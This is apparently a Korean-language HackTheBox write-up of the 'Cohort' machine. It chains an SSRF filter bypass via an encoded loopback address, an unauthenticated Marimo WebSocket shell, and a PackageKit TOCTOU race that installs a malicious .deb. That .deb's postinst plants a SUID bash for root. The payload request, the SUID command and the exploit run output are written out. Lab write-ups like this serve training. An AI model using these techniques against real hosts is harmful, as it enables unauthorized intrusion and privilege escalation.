
HTB Cohort - SSRF, Marimo 사전 인증 RCE (CVE-2026-39987) 및 PackageKit 권한 상승 (CVE-2026-41651)
머신 Cohort (HackTheBox). 전체 킬 체인:
/api/validate)의 SSRF → 내부 vhost 탐색marimo 셸 획득플래그는 의도적으로 포함하지 않았습니다 (HTB 규칙).
10.129.93.8 cohort.htb
/api/... 엔드포인트)을 서비스하는 nginxnb-1be3782a8afd3ad5.cohort.htb), 외부에 노출되지 않음앱은 원격 콘텐츠를 가져와 반사하는 URL 검증 엔드포인트를 노출하고 있었습니다. URL 필터는 루프백 주소를 인코딩하여 우회할 수 있었습니다:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
이는 내부 nginx에 도달하여 설정된 업스트림을 드러냈고, 여기에는 내부 Marimo
vhost nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888이 포함되어 있었습니다.
Marimo의 노트북 WebSocket 터미널 핸들러는 인증을 검증하지 않았습니다.
/terminal/ws에 연결하면 pty.fork()를 통해 bash 셸이 생성됩니다.
내부 vhost는 내부 Host 헤더를 전송하여 외부 nginx를 통해 도달할 수 있었습니다:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
결과: marimo로서의 셸 (uid 1000).
marimo로서의 열거dpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit 버전이 취약한 TOCTOU 패턴과 일치user.txt 플래그는 /home/marimo/user.txt에 위치PackageKit 1.2.8에는 검사 시점 / 사용 시점 결함이 있습니다: GLib idle 콜백이 읽는
트랜잭션 역할과 플래그는 동일한 트랜잭션에 대해 두 개의 비동기 D-Bus 호출을 발행함으로써
경쟁 상태가 발생할 수 있습니다. 따라서 첫 번째 호출(SIMULATE)이 이미 권한 부여
검사를 통과했음에도 불구하고, 권한 있는 백엔드가 두 번째 호출(역할 NONE, 인증 검사 없음)을
실행하게 됩니다.
동일한 트랜잭션에 대해 두 호출이 연달아 발행됩니다:
InstallFiles(SIMULATE=4) — polkit 권한 부여 검사를 통과InstallFiles(NONE=0) — 악성 .deb를 전달하며, 동일한 메시지 배치의 일부로 읽힘악성 .deb는 root로서 postinst 스크립트를 실행하여 SUID bash를 생성합니다:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
핵심 세부 사항: 백엔드가 두 메시지를 하나의 배치로 읽도록 두 호출이 함께 플러시되어야
합니다. GIO 비동기 call() + flush_sync()를 사용하세요:
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
최초 익스플로잇은 python-dbus를 사용했습니다:
./scripts/cve-2026-41651_pydbus.py # ❌ race lost
python-dbus는 두 InstallFiles 호출을 별도의 쓰기로 직렬화하므로, 백엔드의 idle
콜백이 이를 별개의 이벤트로 처리하여 경쟁 상태가 결코 발생하지 않았습니다.
GIO의 flush_sync는 두 D-Bus 메시지를 단일 쓰기 배치로 전송합니다 → 경쟁 상태 승리.
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt 읽기 가능.
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)